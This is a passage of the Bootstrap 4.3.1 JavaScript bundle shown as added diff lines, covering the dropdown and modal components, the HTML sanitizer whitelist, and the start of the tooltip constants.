'top-end', + BOTTOM: 'bottom-start', + BOTTOMEND: 'bottom-end', + RIGHT: 'right-start', + RIGHTEND: 'right-end', + LEFT: 'left-start', + LEFTEND: 'left-end' + }; + var Default$2 = { + offset: 0, + flip: true, + boundary: 'scrollParent', + reference: 'toggle', + display: 'dynamic' + }; + var DefaultType$2 = { + offset: '(number|string|function)', + flip: 'boolean', + boundary: '(string|element)', + reference: '(string|element)', + display: 'string' + /** + * ------------------------------------------------------------------------ + * Class Definition + * ------------------------------------------------------------------------ + */ + + }; + + var Dropdown = + /*#__PURE__*/ + function () { + function Dropdown(element, config) { + this._element = element; + this._popper = null; + this._config = this._getConfig(config); + this._menu = this._getMenuElement(); + this._inNavbar = this._detectNavbar(); + + this._addEventListeners(); + } // Getters + + + var _proto = Dropdown.prototype; + + // Public + _proto.toggle = function toggle() { + if (this._element.disabled || $(this._element).hasClass(ClassName$4.DISABLED)) { + return; + } + + var parent = Dropdown._getParentFromElement(this._element); + + var isActive = $(this._menu).hasClass(ClassName$4.SHOW); + + Dropdown._clearMenus(); + + if (isActive) { + return; + } + + var relatedTarget = { + relatedTarget: this._element + }; + var showEvent = $.Event(Event$4.SHOW, relatedTarget); + $(parent).trigger(showEvent); + + if (showEvent.isDefaultPrevented()) { + return; + } // Disable totally Popper.js for Dropdown in Navbar + + + if (!this._inNavbar) { + /** + * Check for Popper dependency + * Popper - https://popper.js.org + */ + if (typeof Popper === 'undefined') { + throw new TypeError('Bootstrap\'s dropdowns require Popper.js (https://popper.js.org/)'); + } + + var referenceElement = this._element; + + if (this._config.reference === 'parent') { + referenceElement = parent; + } else if (Util.isElement(this._config.reference)) { + referenceElement = this._config.reference; // Check if it's jQuery element + + if (typeof this._config.reference.jquery !== 'undefined') { + referenceElement = this._config.reference[0]; + } + } // If boundary is not `scrollParent`, then set position to `static` + // to allow the menu to "escape" the scroll parent's boundaries + // https://github.com/twbs/bootstrap/issues/24251 + + + if (this._config.boundary !== 'scrollParent') { + $(parent).addClass(ClassName$4.POSITION_STATIC); + } + + this._popper = new Popper(referenceElement, this._menu, this._getPopperConfig()); + } // If this is a touch-enabled device we add extra + // empty mouseover listeners to the body's immediate children; + // only needed because of broken event delegation on iOS + // https://www.quirksmode.org/blog/archives/2014/02/mouse_event_bub.html + + + if ('ontouchstart' in document.documentElement && $(parent).closest(Selector$4.NAVBAR_NAV).length === 0) { + $(document.body).children().on('mouseover', null, $.noop); + } + + this._element.focus(); + + this._element.setAttribute('aria-expanded', true); + + $(this._menu).toggleClass(ClassName$4.SHOW); + $(parent).toggleClass(ClassName$4.SHOW).trigger($.Event(Event$4.SHOWN, relatedTarget)); + }; + + _proto.show = function show() { + if (this._element.disabled || $(this._element).hasClass(ClassName$4.DISABLED) || $(this._menu).hasClass(ClassName$4.SHOW)) { + return; + } + + var relatedTarget = { + relatedTarget: this._element + }; + var showEvent = $.Event(Event$4.SHOW, relatedTarget); + + var parent = Dropdown._getParentFromElement(this._element); + + $(parent).trigger(showEvent); + + if (showEvent.isDefaultPrevented()) { + return; + } + + $(this._menu).toggleClass(ClassName$4.SHOW); + $(parent).toggleClass(ClassName$4.SHOW).trigger($.Event(Event$4.SHOWN, relatedTarget)); + }; + + _proto.hide = function hide() { + if (this._element.disabled || $(this._element).hasClass(ClassName$4.DISABLED) || !$(this._menu).hasClass(ClassName$4.SHOW)) { + return; + } + + var relatedTarget = { + relatedTarget: this._element + }; + var hideEvent = $.Event(Event$4.HIDE, relatedTarget); + + var parent = Dropdown._getParentFromElement(this._element); + + $(parent).trigger(hideEvent); + + if (hideEvent.isDefaultPrevented()) { + return; + } + + $(this._menu).toggleClass(ClassName$4.SHOW); + $(parent).toggleClass(ClassName$4.SHOW).trigger($.Event(Event$4.HIDDEN, relatedTarget)); + }; + + _proto.dispose = function dispose() { + $.removeData(this._element, DATA_KEY$4); + $(this._element).off(EVENT_KEY$4); + this._element = null; + this._menu = null; + + if (this._popper !== null) { + this._popper.destroy(); + + this._popper = null; + } + }; + + _proto.update = function update() { + this._inNavbar = this._detectNavbar(); + + if (this._popper !== null) { + this._popper.scheduleUpdate(); + } + } // Private + ; + + _proto._addEventListeners = function _addEventListeners() { + var _this = this; + + $(this._element).on(Event$4.CLICK, function (event) { + event.preventDefault(); + event.stopPropagation(); + + _this.toggle(); + }); + }; + + _proto._getConfig = function _getConfig(config) { + config = _objectSpread({}, this.constructor.Default, $(this._element).data(), config); + Util.typeCheckConfig(NAME$4, config, this.constructor.DefaultType); + return config; + }; + + _proto._getMenuElement = function _getMenuElement() { + if (!this._menu) { + var parent = Dropdown._getParentFromElement(this._element); + + if (parent) { + this._menu = parent.querySelector(Selector$4.MENU); + } + } + + return this._menu; + }; + + _proto._getPlacement = function _getPlacement() { + var $parentDropdown = $(this._element.parentNode); + var placement = AttachmentMap.BOTTOM; // Handle dropup + + if ($parentDropdown.hasClass(ClassName$4.DROPUP)) { + placement = AttachmentMap.TOP; + + if ($(this._menu).hasClass(ClassName$4.MENURIGHT)) { + placement = AttachmentMap.TOPEND; + } + } else if ($parentDropdown.hasClass(ClassName$4.DROPRIGHT)) { + placement = AttachmentMap.RIGHT; + } else if ($parentDropdown.hasClass(ClassName$4.DROPLEFT)) { + placement = AttachmentMap.LEFT; + } else if ($(this._menu).hasClass(ClassName$4.MENURIGHT)) { + placement = AttachmentMap.BOTTOMEND; + } + + return placement; + }; + + _proto._detectNavbar = function _detectNavbar() { + return $(this._element).closest('.navbar').length > 0; + }; + + _proto._getOffset = function _getOffset() { + var _this2 = this; + + var offset = {}; + + if (typeof this._config.offset === 'function') { + offset.fn = function (data) { + data.offsets = _objectSpread({}, data.offsets, _this2._config.offset(data.offsets, _this2._element) || {}); + return data; + }; + } else { + offset.offset = this._config.offset; + } + + return offset; + }; + + _proto._getPopperConfig = function _getPopperConfig() { + var popperConfig = { + placement: this._getPlacement(), + modifiers: { + offset: this._getOffset(), + flip: { + enabled: this._config.flip + }, + preventOverflow: { + boundariesElement: this._config.boundary + } + } // Disable Popper.js if we have a static display + + }; + + if (this._config.display === 'static') { + popperConfig.modifiers.applyStyle = { + enabled: false + }; + } + + return popperConfig; + } // Static + ; + + Dropdown._jQueryInterface = function _jQueryInterface(config) { + return this.each(function () { + var data = $(this).data(DATA_KEY$4); + + var _config = typeof config === 'object' ? config : null; + + if (!data) { + data = new Dropdown(this, _config); + $(this).data(DATA_KEY$4, data); + } + + if (typeof config === 'string') { + if (typeof data[config] === 'undefined') { + throw new TypeError("No method named \"" + config + "\""); + } + + data[config](); + } + }); + }; + + Dropdown._clearMenus = function _clearMenus(event) { + if (event && (event.which === RIGHT_MOUSE_BUTTON_WHICH || event.type === 'keyup' && event.which !== TAB_KEYCODE)) { + return; + } + + var toggles = [].slice.call(document.querySelectorAll(Selector$4.DATA_TOGGLE)); + + for (var i = 0, len = toggles.length; i < len; i++) { + var parent = Dropdown._getParentFromElement(toggles[i]); + + var context = $(toggles[i]).data(DATA_KEY$4); + var relatedTarget = { + relatedTarget: toggles[i] + }; + + if (event && event.type === 'click') { + relatedTarget.clickEvent = event; + } + + if (!context) { + continue; + } + + var dropdownMenu = context._menu; + + if (!$(parent).hasClass(ClassName$4.SHOW)) { + continue; + } + + if (event && (event.type === 'click' && /input|textarea/i.test(event.target.tagName) || event.type === 'keyup' && event.which === TAB_KEYCODE) && $.contains(parent, event.target)) { + continue; + } + + var hideEvent = $.Event(Event$4.HIDE, relatedTarget); + $(parent).trigger(hideEvent); + + if (hideEvent.isDefaultPrevented()) { + continue; + } // If this is a touch-enabled device we remove the extra + // empty mouseover listeners we added for iOS support + + + if ('ontouchstart' in document.documentElement) { + $(document.body).children().off('mouseover', null, $.noop); + } + + toggles[i].setAttribute('aria-expanded', 'false'); + $(dropdownMenu).removeClass(ClassName$4.SHOW); + $(parent).removeClass(ClassName$4.SHOW).trigger($.Event(Event$4.HIDDEN, relatedTarget)); + } + }; + + Dropdown._getParentFromElement = function _getParentFromElement(element) { + var parent; + var selector = Util.getSelectorFromElement(element); + + if (selector) { + parent = document.querySelector(selector); + } + + return parent || element.parentNode; + } // eslint-disable-next-line complexity + ; + + Dropdown._dataApiKeydownHandler = function _dataApiKeydownHandler(event) { + // If not input/textarea: + // - And not a key in REGEXP_KEYDOWN => not a dropdown command + // If input/textarea: + // - If space key => not a dropdown command + // - If key is other than escape + // - If key is not up or down => not a dropdown command + // - If trigger inside the menu => not a dropdown command + if (/input|textarea/i.test(event.target.tagName) ? event.which === SPACE_KEYCODE || event.which !== ESCAPE_KEYCODE && (event.which !== ARROW_DOWN_KEYCODE && event.which !== ARROW_UP_KEYCODE || $(event.target).closest(Selector$4.MENU).length) : !REGEXP_KEYDOWN.test(event.which)) { + return; + } + + event.preventDefault(); + event.stopPropagation(); + + if (this.disabled || $(this).hasClass(ClassName$4.DISABLED)) { + return; + } + + var parent = Dropdown._getParentFromElement(this); + + var isActive = $(parent).hasClass(ClassName$4.SHOW); + + if (!isActive || isActive && (event.which === ESCAPE_KEYCODE || event.which === SPACE_KEYCODE)) { + if (event.which === ESCAPE_KEYCODE) { + var toggle = parent.querySelector(Selector$4.DATA_TOGGLE); + $(toggle).trigger('focus'); + } + + $(this).trigger('click'); + return; + } + + var items = [].slice.call(parent.querySelectorAll(Selector$4.VISIBLE_ITEMS)); + + if (items.length === 0) { + return; + } + + var index = items.indexOf(event.target); + + if (event.which === ARROW_UP_KEYCODE && index > 0) { + // Up + index--; + } + + if (event.which === ARROW_DOWN_KEYCODE && index < items.length - 1) { + // Down + index++; + } + + if (index < 0) { + index = 0; + } + + items[index].focus(); + }; + + _createClass(Dropdown, null, [{ + key: "VERSION", + get: function get() { + return VERSION$4; + } + }, { + key: "Default", + get: function get() { + return Default$2; + } + }, { + key: "DefaultType", + get: function get() { + return DefaultType$2; + } + }]); + + return Dropdown; + }(); + /** + * ------------------------------------------------------------------------ + * Data Api implementation + * ------------------------------------------------------------------------ + */ + + + $(document).on(Event$4.KEYDOWN_DATA_API, Selector$4.DATA_TOGGLE, Dropdown._dataApiKeydownHandler).on(Event$4.KEYDOWN_DATA_API, Selector$4.MENU, Dropdown._dataApiKeydownHandler).on(Event$4.CLICK_DATA_API + " " + Event$4.KEYUP_DATA_API, Dropdown._clearMenus).on(Event$4.CLICK_DATA_API, Selector$4.DATA_TOGGLE, function (event) { + event.preventDefault(); + event.stopPropagation(); + + Dropdown._jQueryInterface.call($(this), 'toggle'); + }).on(Event$4.CLICK_DATA_API, Selector$4.FORM_CHILD, function (e) { + e.stopPropagation(); + }); + /** + * ------------------------------------------------------------------------ + * jQuery + * ------------------------------------------------------------------------ + */ + + $.fn[NAME$4] = Dropdown._jQueryInterface; + $.fn[NAME$4].Constructor = Dropdown; + + $.fn[NAME$4].noConflict = function () { + $.fn[NAME$4] = JQUERY_NO_CONFLICT$4; + return Dropdown._jQueryInterface; + }; + + /** + * ------------------------------------------------------------------------ + * Constants + * ------------------------------------------------------------------------ + */ + + var NAME$5 = 'modal'; + var VERSION$5 = '4.3.1'; + var DATA_KEY$5 = 'bs.modal'; + var EVENT_KEY$5 = "." + DATA_KEY$5; + var DATA_API_KEY$5 = '.data-api'; + var JQUERY_NO_CONFLICT$5 = $.fn[NAME$5]; + var ESCAPE_KEYCODE$1 = 27; // KeyboardEvent.which value for Escape (Esc) key + + var Default$3 = { + backdrop: true, + keyboard: true, + focus: true, + show: true + }; + var DefaultType$3 = { + backdrop: '(boolean|string)', + keyboard: 'boolean', + focus: 'boolean', + show: 'boolean' + }; + var Event$5 = { + HIDE: "hide" + EVENT_KEY$5, + HIDDEN: "hidden" + EVENT_KEY$5, + SHOW: "show" + EVENT_KEY$5, + SHOWN: "shown" + EVENT_KEY$5, + FOCUSIN: "focusin" + EVENT_KEY$5, + RESIZE: "resize" + EVENT_KEY$5, + CLICK_DISMISS: "click.dismiss" + EVENT_KEY$5, + KEYDOWN_DISMISS: "keydown.dismiss" + EVENT_KEY$5, + MOUSEUP_DISMISS: "mouseup.dismiss" + EVENT_KEY$5, + MOUSEDOWN_DISMISS: "mousedown.dismiss" + EVENT_KEY$5, + CLICK_DATA_API: "click" + EVENT_KEY$5 + DATA_API_KEY$5 + }; + var ClassName$5 = { + SCROLLABLE: 'modal-dialog-scrollable', + SCROLLBAR_MEASURER: 'modal-scrollbar-measure', + BACKDROP: 'modal-backdrop', + OPEN: 'modal-open', + FADE: 'fade', + SHOW: 'show' + }; + var Selector$5 = { + DIALOG: '.modal-dialog', + MODAL_BODY: '.modal-body', + DATA_TOGGLE: '[data-toggle="modal"]', + DATA_DISMISS: '[data-dismiss="modal"]', + FIXED_CONTENT: '.fixed-top, .fixed-bottom, .is-fixed, .sticky-top', + STICKY_CONTENT: '.sticky-top' + /** + * ------------------------------------------------------------------------ + * Class Definition + * ------------------------------------------------------------------------ + */ + + }; + + var Modal = + /*#__PURE__*/ + function () { + function Modal(element, config) { + this._config = this._getConfig(config); + this._element = element; + this._dialog = element.querySelector(Selector$5.DIALOG); + this._backdrop = null; + this._isShown = false; + this._isBodyOverflowing = false; + this._ignoreBackdropClick = false; + this._isTransitioning = false; + this._scrollbarWidth = 0; + } // Getters + + + var _proto = Modal.prototype; + + // Public + _proto.toggle = function toggle(relatedTarget) { + return this._isShown ? this.hide() : this.show(relatedTarget); + }; + + _proto.show = function show(relatedTarget) { + var _this = this; + + if (this._isShown || this._isTransitioning) { + return; + } + + if ($(this._element).hasClass(ClassName$5.FADE)) { + this._isTransitioning = true; + } + + var showEvent = $.Event(Event$5.SHOW, { + relatedTarget: relatedTarget + }); + $(this._element).trigger(showEvent); + + if (this._isShown || showEvent.isDefaultPrevented()) { + return; + } + + this._isShown = true; + + this._checkScrollbar(); + + this._setScrollbar(); + + this._adjustDialog(); + + this._setEscapeEvent(); + + this._setResizeEvent(); + + $(this._element).on(Event$5.CLICK_DISMISS, Selector$5.DATA_DISMISS, function (event) { + return _this.hide(event); + }); + $(this._dialog).on(Event$5.MOUSEDOWN_DISMISS, function () { + $(_this._element).one(Event$5.MOUSEUP_DISMISS, function (event) { + if ($(event.target).is(_this._element)) { + _this._ignoreBackdropClick = true; + } + }); + }); + + this._showBackdrop(function () { + return _this._showElement(relatedTarget); + }); + }; + + _proto.hide = function hide(event) { + var _this2 = this; + + if (event) { + event.preventDefault(); + } + + if (!this._isShown || this._isTransitioning) { + return; + } + + var hideEvent = $.Event(Event$5.HIDE); + $(this._element).trigger(hideEvent); + + if (!this._isShown || hideEvent.isDefaultPrevented()) { + return; + } + + this._isShown = false; + var transition = $(this._element).hasClass(ClassName$5.FADE); + + if (transition) { + this._isTransitioning = true; + } + + this._setEscapeEvent(); + + this._setResizeEvent(); + + $(document).off(Event$5.FOCUSIN); + $(this._element).removeClass(ClassName$5.SHOW); + $(this._element).off(Event$5.CLICK_DISMISS); + $(this._dialog).off(Event$5.MOUSEDOWN_DISMISS); + + if (transition) { + var transitionDuration = Util.getTransitionDurationFromElement(this._element); + $(this._element).one(Util.TRANSITION_END, function (event) { + return _this2._hideModal(event); + }).emulateTransitionEnd(transitionDuration); + } else { + this._hideModal(); + } + }; + + _proto.dispose = function dispose() { + [window, this._element, this._dialog].forEach(function (htmlElement) { + return $(htmlElement).off(EVENT_KEY$5); + }); + /** + * `document` has 2 events `Event.FOCUSIN` and `Event.CLICK_DATA_API` + * Do not move `document` in `htmlElements` array + * It will remove `Event.CLICK_DATA_API` event that should remain + */ + + $(document).off(Event$5.FOCUSIN); + $.removeData(this._element, DATA_KEY$5); + this._config = null; + this._element = null; + this._dialog = null; + this._backdrop = null; + this._isShown = null; + this._isBodyOverflowing = null; + this._ignoreBackdropClick = null; + this._isTransitioning = null; + this._scrollbarWidth = null; + }; + + _proto.handleUpdate = function handleUpdate() { + this._adjustDialog(); + } // Private + ; + + _proto._getConfig = function _getConfig(config) { + config = _objectSpread({}, Default$3, config); + Util.typeCheckConfig(NAME$5, config, DefaultType$3); + return config; + }; + + _proto._showElement = function _showElement(relatedTarget) { + var _this3 = this; + + var transition = $(this._element).hasClass(ClassName$5.FADE); + + if (!this._element.parentNode || this._element.parentNode.nodeType !== Node.ELEMENT_NODE) { + // Don't move modal's DOM position + document.body.appendChild(this._element); + } + + this._element.style.display = 'block'; + + this._element.removeAttribute('aria-hidden'); + + this._element.setAttribute('aria-modal', true); + + if ($(this._dialog).hasClass(ClassName$5.SCROLLABLE)) { + this._dialog.querySelector(Selector$5.MODAL_BODY).scrollTop = 0; + } else { + this._element.scrollTop = 0; + } + + if (transition) { + Util.reflow(this._element); + } + + $(this._element).addClass(ClassName$5.SHOW); + + if (this._config.focus) { + this._enforceFocus(); + } + + var shownEvent = $.Event(Event$5.SHOWN, { + relatedTarget: relatedTarget + }); + + var transitionComplete = function transitionComplete() { + if (_this3._config.focus) { + _this3._element.focus(); + } + + _this3._isTransitioning = false; + $(_this3._element).trigger(shownEvent); + }; + + if (transition) { + var transitionDuration = Util.getTransitionDurationFromElement(this._dialog); + $(this._dialog).one(Util.TRANSITION_END, transitionComplete).emulateTransitionEnd(transitionDuration); + } else { + transitionComplete(); + } + }; + + _proto._enforceFocus = function _enforceFocus() { + var _this4 = this; + + $(document).off(Event$5.FOCUSIN) // Guard against infinite focus loop + .on(Event$5.FOCUSIN, function (event) { + if (document !== event.target && _this4._element !== event.target && $(_this4._element).has(event.target).length === 0) { + _this4._element.focus(); + } + }); + }; + + _proto._setEscapeEvent = function _setEscapeEvent() { + var _this5 = this; + + if (this._isShown && this._config.keyboard) { + $(this._element).on(Event$5.KEYDOWN_DISMISS, function (event) { + if (event.which === ESCAPE_KEYCODE$1) { + event.preventDefault(); + + _this5.hide(); + } + }); + } else if (!this._isShown) { + $(this._element).off(Event$5.KEYDOWN_DISMISS); + } + }; + + _proto._setResizeEvent = function _setResizeEvent() { + var _this6 = this; + + if (this._isShown) { + $(window).on(Event$5.RESIZE, function (event) { + return _this6.handleUpdate(event); + }); + } else { + $(window).off(Event$5.RESIZE); + } + }; + + _proto._hideModal = function _hideModal() { + var _this7 = this; + + this._element.style.display = 'none'; + + this._element.setAttribute('aria-hidden', true); + + this._element.removeAttribute('aria-modal'); + + this._isTransitioning = false; + + this._showBackdrop(function () { + $(document.body).removeClass(ClassName$5.OPEN); + + _this7._resetAdjustments(); + + _this7._resetScrollbar(); + + $(_this7._element).trigger(Event$5.HIDDEN); + }); + }; + + _proto._removeBackdrop = function _removeBackdrop() { + if (this._backdrop) { + $(this._backdrop).remove(); + this._backdrop = null; + } + }; + + _proto._showBackdrop = function _showBackdrop(callback) { + var _this8 = this; + + var animate = $(this._element).hasClass(ClassName$5.FADE) ? ClassName$5.FADE : ''; + + if (this._isShown && this._config.backdrop) { + this._backdrop = document.createElement('div'); + this._backdrop.className = ClassName$5.BACKDROP; + + if (animate) { + this._backdrop.classList.add(animate); + } + + $(this._backdrop).appendTo(document.body); + $(this._element).on(Event$5.CLICK_DISMISS, function (event) { + if (_this8._ignoreBackdropClick) { + _this8._ignoreBackdropClick = false; + return; + } + + if (event.target !== event.currentTarget) { + return; + } + + if (_this8._config.backdrop === 'static') { + _this8._element.focus(); + } else { + _this8.hide(); + } + }); + + if (animate) { + Util.reflow(this._backdrop); + } + + $(this._backdrop).addClass(ClassName$5.SHOW); + + if (!callback) { + return; + } + + if (!animate) { + callback(); + return; + } + + var backdropTransitionDuration = Util.getTransitionDurationFromElement(this._backdrop); + $(this._backdrop).one(Util.TRANSITION_END, callback).emulateTransitionEnd(backdropTransitionDuration); + } else if (!this._isShown && this._backdrop) { + $(this._backdrop).removeClass(ClassName$5.SHOW); + + var callbackRemove = function callbackRemove() { + _this8._removeBackdrop(); + + if (callback) { + callback(); + } + }; + + if ($(this._element).hasClass(ClassName$5.FADE)) { + var _backdropTransitionDuration = Util.getTransitionDurationFromElement(this._backdrop); + + $(this._backdrop).one(Util.TRANSITION_END, callbackRemove).emulateTransitionEnd(_backdropTransitionDuration); + } else { + callbackRemove(); + } + } else if (callback) { + callback(); + } + } // ---------------------------------------------------------------------- + // the following methods are used to handle overflowing modals + // todo (fat): these should probably be refactored out of modal.js + // ---------------------------------------------------------------------- + ; + + _proto._adjustDialog = function _adjustDialog() { + var isModalOverflowing = this._element.scrollHeight > document.documentElement.clientHeight; + + if (!this._isBodyOverflowing && isModalOverflowing) { + this._element.style.paddingLeft = this._scrollbarWidth + "px"; + } + + if (this._isBodyOverflowing && !isModalOverflowing) { + this._element.style.paddingRight = this._scrollbarWidth + "px"; + } + }; + + _proto._resetAdjustments = function _resetAdjustments() { + this._element.style.paddingLeft = ''; + this._element.style.paddingRight = ''; + }; + + _proto._checkScrollbar = function _checkScrollbar() { + var rect = document.body.getBoundingClientRect(); + this._isBodyOverflowing = rect.left + rect.right < window.innerWidth; + this._scrollbarWidth = this._getScrollbarWidth(); + }; + + _proto._setScrollbar = function _setScrollbar() { + var _this9 = this; + + if (this._isBodyOverflowing) { + // Note: DOMNode.style.paddingRight returns the actual value or '' if not set + // while $(DOMNode).css('padding-right') returns the calculated value or 0 if not set + var fixedContent = [].slice.call(document.querySelectorAll(Selector$5.FIXED_CONTENT)); + var stickyContent = [].slice.call(document.querySelectorAll(Selector$5.STICKY_CONTENT)); // Adjust fixed content padding + + $(fixedContent).each(function (index, element) { + var actualPadding = element.style.paddingRight; + var calculatedPadding = $(element).css('padding-right'); + $(element).data('padding-right', actualPadding).css('padding-right', parseFloat(calculatedPadding) + _this9._scrollbarWidth + "px"); + }); // Adjust sticky content margin + + $(stickyContent).each(function (index, element) { + var actualMargin = element.style.marginRight; + var calculatedMargin = $(element).css('margin-right'); + $(element).data('margin-right', actualMargin).css('margin-right', parseFloat(calculatedMargin) - _this9._scrollbarWidth + "px"); + }); // Adjust body padding + + var actualPadding = document.body.style.paddingRight; + var calculatedPadding = $(document.body).css('padding-right'); + $(document.body).data('padding-right', actualPadding).css('padding-right', parseFloat(calculatedPadding) + this._scrollbarWidth + "px"); + } + + $(document.body).addClass(ClassName$5.OPEN); + }; + + _proto._resetScrollbar = function _resetScrollbar() { + // Restore fixed content padding + var fixedContent = [].slice.call(document.querySelectorAll(Selector$5.FIXED_CONTENT)); + $(fixedContent).each(function (index, element) { + var padding = $(element).data('padding-right'); + $(element).removeData('padding-right'); + element.style.paddingRight = padding ? padding : ''; + }); // Restore sticky content + + var elements = [].slice.call(document.querySelectorAll("" + Selector$5.STICKY_CONTENT)); + $(elements).each(function (index, element) { + var margin = $(element).data('margin-right'); + + if (typeof margin !== 'undefined') { + $(element).css('margin-right', margin).removeData('margin-right'); + } + }); // Restore body padding + + var padding = $(document.body).data('padding-right'); + $(document.body).removeData('padding-right'); + document.body.style.paddingRight = padding ? padding : ''; + }; + + _proto._getScrollbarWidth = function _getScrollbarWidth() { + // thx d.walsh + var scrollDiv = document.createElement('div'); + scrollDiv.className = ClassName$5.SCROLLBAR_MEASURER; + document.body.appendChild(scrollDiv); + var scrollbarWidth = scrollDiv.getBoundingClientRect().width - scrollDiv.clientWidth; + document.body.removeChild(scrollDiv); + return scrollbarWidth; + } // Static + ; + + Modal._jQueryInterface = function _jQueryInterface(config, relatedTarget) { + return this.each(function () { + var data = $(this).data(DATA_KEY$5); + + var _config = _objectSpread({}, Default$3, $(this).data(), typeof config === 'object' && config ? config : {}); + + if (!data) { + data = new Modal(this, _config); + $(this).data(DATA_KEY$5, data); + } + + if (typeof config === 'string') { + if (typeof data[config] === 'undefined') { + throw new TypeError("No method named \"" + config + "\""); + } + + data[config](relatedTarget); + } else if (_config.show) { + data.show(relatedTarget); + } + }); + }; + + _createClass(Modal, null, [{ + key: "VERSION", + get: function get() { + return VERSION$5; + } + }, { + key: "Default", + get: function get() { + return Default$3; + } + }]); + + return Modal; + }(); + /** + * ------------------------------------------------------------------------ + * Data Api implementation + * ------------------------------------------------------------------------ + */ + + + $(document).on(Event$5.CLICK_DATA_API, Selector$5.DATA_TOGGLE, function (event) { + var _this10 = this; + + var target; + var selector = Util.getSelectorFromElement(this); + + if (selector) { + target = document.querySelector(selector); + } + + var config = $(target).data(DATA_KEY$5) ? 'toggle' : _objectSpread({}, $(target).data(), $(this).data()); + + if (this.tagName === 'A' || this.tagName === 'AREA') { + event.preventDefault(); + } + + var $target = $(target).one(Event$5.SHOW, function (showEvent) { + if (showEvent.isDefaultPrevented()) { + // Only register focus restorer if modal will actually get shown + return; + } + + $target.one(Event$5.HIDDEN, function () { + if ($(_this10).is(':visible')) { + _this10.focus(); + } + }); + }); + + Modal._jQueryInterface.call($(target), config, this); + }); + /** + * ------------------------------------------------------------------------ + * jQuery + * ------------------------------------------------------------------------ + */ + + $.fn[NAME$5] = Modal._jQueryInterface; + $.fn[NAME$5].Constructor = Modal; + + $.fn[NAME$5].noConflict = function () { + $.fn[NAME$5] = JQUERY_NO_CONFLICT$5; + return Modal._jQueryInterface; + }; + + /** + * -------------------------------------------------------------------------- + * Bootstrap (v4.3.1): tools/sanitizer.js + * Licensed under MIT (https://github.com/twbs/bootstrap/blob/master/LICENSE) + * -------------------------------------------------------------------------- + */ + var uriAttrs = ['background', 'cite', 'href', 'itemtype', 'longdesc', 'poster', 'src', 'xlink:href']; + var ARIA_ATTRIBUTE_PATTERN = /^aria-[\w-]*$/i; + var DefaultWhitelist = { + // Global attributes allowed on any supplied element below. + '*': ['class', 'dir', 'id', 'lang', 'role', ARIA_ATTRIBUTE_PATTERN], + a: ['target', 'href', 'title', 'rel'], + area: [], + b: [], + br: [], + col: [], + code: [], + div: [], + em: [], + hr: [], + h1: [], + h2: [], + h3: [], + h4: [], + h5: [], + h6: [], + i: [], + img: ['src', 'alt', 'title', 'width', 'height'], + li: [], + ol: [], + p: [], + pre: [], + s: [], + small: [], + span: [], + sub: [], + sup: [], + strong: [], + u: [], + ul: [] + /** + * A pattern that recognizes a commonly useful subset of URLs that are safe. + * + * Shoutout to Angular 7 https://github.com/angular/angular/blob/7.2.4/packages/core/src/sanitization/url_sanitizer.ts + */ + + }; + var SAFE_URL_PATTERN = /^(?:(?:https?|mailto|ftp|tel|file):|[^&:/?#]*(?:[/?#]|$))/gi; + /** + * A pattern that matches safe data URLs. Only matches image, video and audio types. + * + * Shoutout to Angular 7 https://github.com/angular/angular/blob/7.2.4/packages/core/src/sanitization/url_sanitizer.ts + */ + + var DATA_URL_PATTERN = /^data:(?:image\/(?:bmp|gif|jpeg|jpg|png|tiff|webp)|video\/(?:mpeg|mp4|ogg|webm)|audio\/(?:mp3|oga|ogg|opus));base64,[a-z0-9+/]+=*$/i; + + function allowedAttribute(attr, allowedAttributeList) { + var attrName = attr.nodeName.toLowerCase(); + + if (allowedAttributeList.indexOf(attrName) !== -1) { + if (uriAttrs.indexOf(attrName) !== -1) { + return Boolean(attr.nodeValue.match(SAFE_URL_PATTERN) || attr.nodeValue.match(DATA_URL_PATTERN)); + } + + return true; + } + + var regExp = allowedAttributeList.filter(function (attrRegex) { + return attrRegex instanceof RegExp; + }); // Check if a regular expression validates the attribute. + + for (var i = 0, l = regExp.length; i < l; i++) { + if (attrName.match(regExp[i])) { + return true; + } + } + + return false; + } + + function sanitizeHtml(unsafeHtml, whiteList, sanitizeFn) { + if (unsafeHtml.length === 0) { + return unsafeHtml; + } + + if (sanitizeFn && typeof sanitizeFn === 'function') { + return sanitizeFn(unsafeHtml); + } + + var domParser = new window.DOMParser(); + var createdDocument = domParser.parseFromString(unsafeHtml, 'text/html'); + var whitelistKeys = Object.keys(whiteList); + var elements = [].slice.call(createdDocument.body.querySelectorAll('*')); + + var _loop = function _loop(i, len) { + var el = elements[i]; + var elName = el.nodeName.toLowerCase(); + + if (whitelistKeys.indexOf(el.nodeName.toLowerCase()) === -1) { + el.parentNode.removeChild(el); + return "continue"; + } + + var attributeList = [].slice.call(el.attributes); + var whitelistedAttributes = [].concat(whiteList['*'] || [], whiteList[elName] || []); + attributeList.forEach(function (attr) { + if (!allowedAttribute(attr, whitelistedAttributes)) { + el.removeAttribute(attr.nodeName); + } + }); + }; + + for (var i = 0, len = elements.length; i < len; i++) { + var _ret = _loop(i, len); + + if (_ret === "continue") continue; + } + + return createdDocument.body.innerHTML; + } + + /** + * ------------------------------------------------------------------------ + * Constants + * ------------------------------------------------------------------------ + */ + + var NAME$6 = 'tooltip'; + var VERSION$6 = '4.3.1'; + var DATA_KEY$6 = 'bs.tooltip'; + var EVENT_KEY$6 = "." + DATA_KEY$6; + var JQUERY_NO_CONFLICT$6 = $.fn[NAME$6]; + var CLASS_PREFIX = 'bs-tooltip'; + var BSCLS_PREFIX_REGEX = new RegExp("(^|\\s)" + CLASS_PREFIX + "\\S+", 'g'); + var DISALLOWED_ATTRIBUTES = ['sanitize', 'whiteList', 'sanitizeFn']; + var DefaultType$4 = { + animation: 'boolean', + template: 'string', + title: '(string|element|function)', + trigger: 'string', + delay: '(number|object)', + html: 'boolean', + selector: '(string|boolean)', + placement: '(string|function)', + offset: '(number|string|function)', + container: '(string|element|boolean)', + fallbackPlacement: '(string|array)', + boundary: '(string|element)', + sanitize: 'boolean', + sanitizeFn: '(null|function)', + whiteList: 'object' + }; + var AttachmentMap$1 = { + AUTO: 'auto', + TOP: 'top', + RIGHT: 'right', + BOTTOM: 'bottom', + LEFT: 'left' + }; + var Default$4 = { + animation: true, + template: '', + trigger: 'hover focus', + title: '', + delay: 0, + html: false, + selector: false, + placement: 'top', + offset: 0, + container: false, + fallbackPlacement: 'flip', + boundary: 'scrollParent', + sanitize: true, + sanitizeFn: null, + whiteList: DefaultWhitelist + }; + var HoverState = { + SHOW: 'show', + OUT: 'out' + }; + var Event$6 = { + HIDE: "hide" + EVENT_KEY$6, + HIDDEN: "hidden" + EVENT_KEY$6, + SHOW: "show" + EVENT_KEY$6, + SHOWN: "shown" + EVENT_KEY$6, + 